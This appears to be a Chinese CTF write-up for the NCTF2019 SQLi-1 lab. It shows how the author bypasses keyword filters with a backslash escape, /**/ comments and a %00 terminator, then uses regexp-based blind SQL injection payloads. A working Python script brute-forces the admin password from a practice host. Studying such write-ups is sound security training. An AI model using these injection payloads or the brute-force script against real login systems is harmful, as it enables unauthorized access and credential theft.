[NCTF2019]SQLi-1||SQL注入
2022/8/3 2:52:46
本文主要是介绍[NCTF2019]SQLi-1||SQL注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1、打开之后首先尝试万能密码登录和部分关键词(or、select、=、or、table、#、-等等)登录,显示被检测到了攻击行为并进行了拦截,结果如下:
2、使用dirmap进行目录扫描,发现robots.txt文件,结果如下:
3、访问robots.txt文件,发现hint.txt文件并进行访问,发现提示信息和过滤的一堆关键字,结果如下:
4、获得提示信息,如果passwd的值等于admin的密码则登录成功,但是admin也被过滤了,这里想到了做的上一个sql注入题:https://www.cnblogs.com/upfine/p/16527723.html,采用的是正则表达式来获取flag的值,因此这里在select等关键字被过滤的情况下,这里也可以使用正则表达式来匹配admin的密码进而来获取flag值,确定获取密码的方式之后就需要确定注入点,来使用正则表达式来逐步获取密码的值,这里想到了对name中的第二个字符进行转义,使后面的' and passwd=成为name的内容,payload:name:\,passwd:||/**/1;%00,观察返回的数据包发现与之前返回的不同,确定注入点存在,结果如下:
5、确定注入点存在位置后就根据分析采用正则表达式进行匹配,payload:name:\,passwd:||/**/passwd/**/regexp/**/"^a";%00,手工结果如下:
6、确定第一位后那就确定第二位,payload:name:\,passwd:||/**/passwd/**/regexp/**/"^yo";%00,结果如下:
7、手工过程就这样一步一步获取密码信息,当然手工看看就行了,实际还得是通过脚本来获取密码信息,代码和结果如下:
脚本代码:
import requests from urllib import parse import time #跑出密码后发现没有大写字母,因此就去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~' url = 'http://a58a046b-e948-4bf4-8622-7df7271753ca.node4.buuoj.cn:81' passwd = '' i = 1 while i < 80: for one_char in strings: data = { 'username':'\\', 'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00') } rs = requests.post(url,data).content.decode('utf-8') time.sleep(0.01) if 'welcome' in rs: passwd = passwd + one_char print("\r", end="") print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='') i = i + 1 break if one_char=='~' and 'welcome' not in rs: print('\n密码共'+str(i-1)+'位,已匹配完成') i = 80 break
密码值:you_will_never_know7788990,如下:
8、获取到admin的密码后,随便输入一个用户名并使用这个密码进行登录成功获取到flag值,结果如下:
9、注意:
脚本可以适当的修改延时时间,如果使用时报错,那就从新跑一下或修改下延时时间。
payload不要带上了空格,空格也被过滤了。
这篇关于[NCTF2019]SQLi-1||SQL注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-15PingCAP 黄东旭参与 CCF 秀湖会议,共探开源教育未来
- 2024-05-13PingCAP 戴涛:构建面向未来的金融核心系统
- 2024-05-09flutter3.x_macos桌面os实战
- 2024-05-09Rust中的并发性:Sync 和 Send Traits
- 2024-05-08使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B
- 2024-05-08完工标准(DoD)与验收条件(AC)究竟有什么不同?
- 2024-05-084万 star 的 NocoDB 在 sealos 上一键起,轻松把数据库编程智能表格
- 2024-05-08Mac 版Stable Diffusion WebUI的安装
- 2024-05-08解锁CodeGeeX智能问答中3项独有的隐藏技能
- 2024-05-08RAG算法优化+新增代码仓库支持,CodeGeeX的@repo功能效果提升